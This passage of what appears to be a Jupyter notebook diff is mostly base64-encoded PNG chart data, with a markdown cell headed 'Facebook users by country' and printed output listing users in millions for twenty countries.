HA1iP4xtGu0e0vplMmR47MmaSTQU4adDkx9NyOx0rsJJyYQGWn86Oh+en0zXP1Za2L35p257ZeZdttsvbeS+gaCNeWFKLF5dyMXrd2JQfwRHXVxFQcY2V5L31VnWja524c8/bvee1HQFYxoO1qs78kY8AreTiifQUoQOg2R/czkuns/nSsWy+nQ8LsNiePAOpa8DYcgFMetAxrctpmZQnjUV5TMhuRbSL4Ir/JKiQ6LWhwpO2+Y9kcmY9ttW8g8NdD9B45RtU9j/E6XOfoPr8p2h//VtUDHyErTVv4NTI5zjS9xD7Ou5je+MHmJzfjIk5LR6o4uHS4wAWwVQEOHnpCMAya7ZG126xni6rDQHTWuZK67qxG6dHD5wW7xppNOMYi+xJe0AinrronpKgcmEBVFC7sfJd93d9g9S//+gAXPcl/7S3sSOov7r6vEuux4Q9nqgLXPVtAGTndX0/MOXHE3BEarenZUxrfeiXjkVHRiujda9fWutpv7RfHc3zq6N5YseCqG3P7HxQPeHb5e18JHK7N33n2TpuDPOm9xhqQdZWsU1v4x13NtIZ0Dl2ULSArAiQGp0WTAOs5CJK+bCxUvuD23kNbkSm2xZeEGVZLdPtsaPbefL0AJG6fuX0QAlKa6Ug7dplhU+qy0dTDCKLBq4o4wL4lzK9mCBUsGyf96Hy4jqsl5bXY/W2i8jbew3ba+7iYMsD5O65iPqL36D/7b+gcuBTrKt4HVtq7mBtxa/MwsYVO14b27k4BpbUYc8e2PLWZEUU8CjAsg6GlrKRchHvl20QdJmgtBiUIIP1KD8NsKKBHRfAccmjtR2LzN1+dICTBliRXbp6zAjw0Ty/tA2A7LyuI23qMjZPAyjqMF2WaS1PA6zxtktskabaFvqldVm/9MtrGMuwFaS0C7RzLMe1VPReid3zZG345YpWc/1iecsYJUjzLu8oHFkoT8/XLwMBVsTz5ffcsfLSHqwkebDkw/Pj65fv12k0j2V1XjoMKYGOnSePnUkuv7oaIOn6fmkNmKRNXd++ny4vICoanZjThmjXtMJu4+ESRcZnpOKicSNlfKypmR2YW9yPWfmdmF/ai1kFbSg+eB0VfV9gV/0HmFvC430aMaeUU4FecFTP89RnpvnMVB8BlvJiyf0iCtgDWGNlxrxe9uL4+AAWFXjkHuPrPgqmonkLogMtf+9D6utEBwgDJhQFw1Gk6nIBHJc87HO52+fJAIlfT+q7eveN1h89mfxhSAaVcSKgxx47ItdUl/VL+5WVsU8qdYQnAEp0mvCFilyolEsV9dPZ8fBEpwdRW9fbeW1fEklrW+iXdrU5IbPDeKE4Vfji0gYwbAPDHMj6KU4bcvqQbbOM8VStaMXPlzWDICsCrrwQCV7Mqzov2OiKGmt6UC9yf0wAi4aOL10MHzsSP5YY2lR1rL+WdmWgkcozy7sRKnxSXZ6DVueZloEcREUhCA0qJ3wpF0S1AnKlRYmOBwZcNxXtcijp4n5zpA2PtbEv9r0Z+V6Udx4EPbPQu2YUtGNeSQ+WbD6H2aVdmFXUidklvZhTOmCClfJsw4wihljgtBM9CB4VYxrNKEYWLTN+UfgYTryXbodxuuSaWzZkgpwy0CmvuWWD5pq37hzkEh7L+l8jmFumrrXnMVeushEwyOq8dcNRLsrDXNHaHsb88hHMLx+KclH+9F7R3330d+fVjf5t5pYPI+ql+4ZvOqhfeXzvGbz+KH1R+qtHI/1Z+rWm7Js6WKweC/bY8GQ8fD34yijpx/gr1l2qdj0vP6u4D/rydIXoDdEdwdPX43WhQ9eNxtHTdUSnBlGXTtZy0fGi+0mFlyi17VO8eW37kpvmul0uZWk2Mx1yriwDRssla3sj9/XqeHydTmyHZ6Td4PrEAIKX+O6YJ5YiZT/4LydHIsupmEjUAAAAAElFTkSuQmCC" + } + }, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook users by country\n", + "![image.png](attachment:image.png)" + ] + }, + { + "cell_type": "code", + "execution_count": 101, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Country Users(millions)\n", + "0 India 320\n", + "1 US 190\n", + "2 Indonesia 140\n", + "3 Brazil 130\n", + "4 Mexico 93\n", + "5 Philippines 83\n", + "6 Vietnam 68\n", + "7 Thailand 51\n", + "8 Egypt 45\n", + "9 Bangladesh 41\n", + "10 Pakistan 40\n", + "11 Turkey 38\n", + "12 UK 38\n", + "13 Colombia 36\n", + "14 France 33\n", + "15 Argentina 31\n", + "16 Italy 31\n", + "17 Germany 29\n", + "18 Nigeria 29\n", + "19 Myanmar 27\n" + ] + }, + { + "data": { + "image/png": "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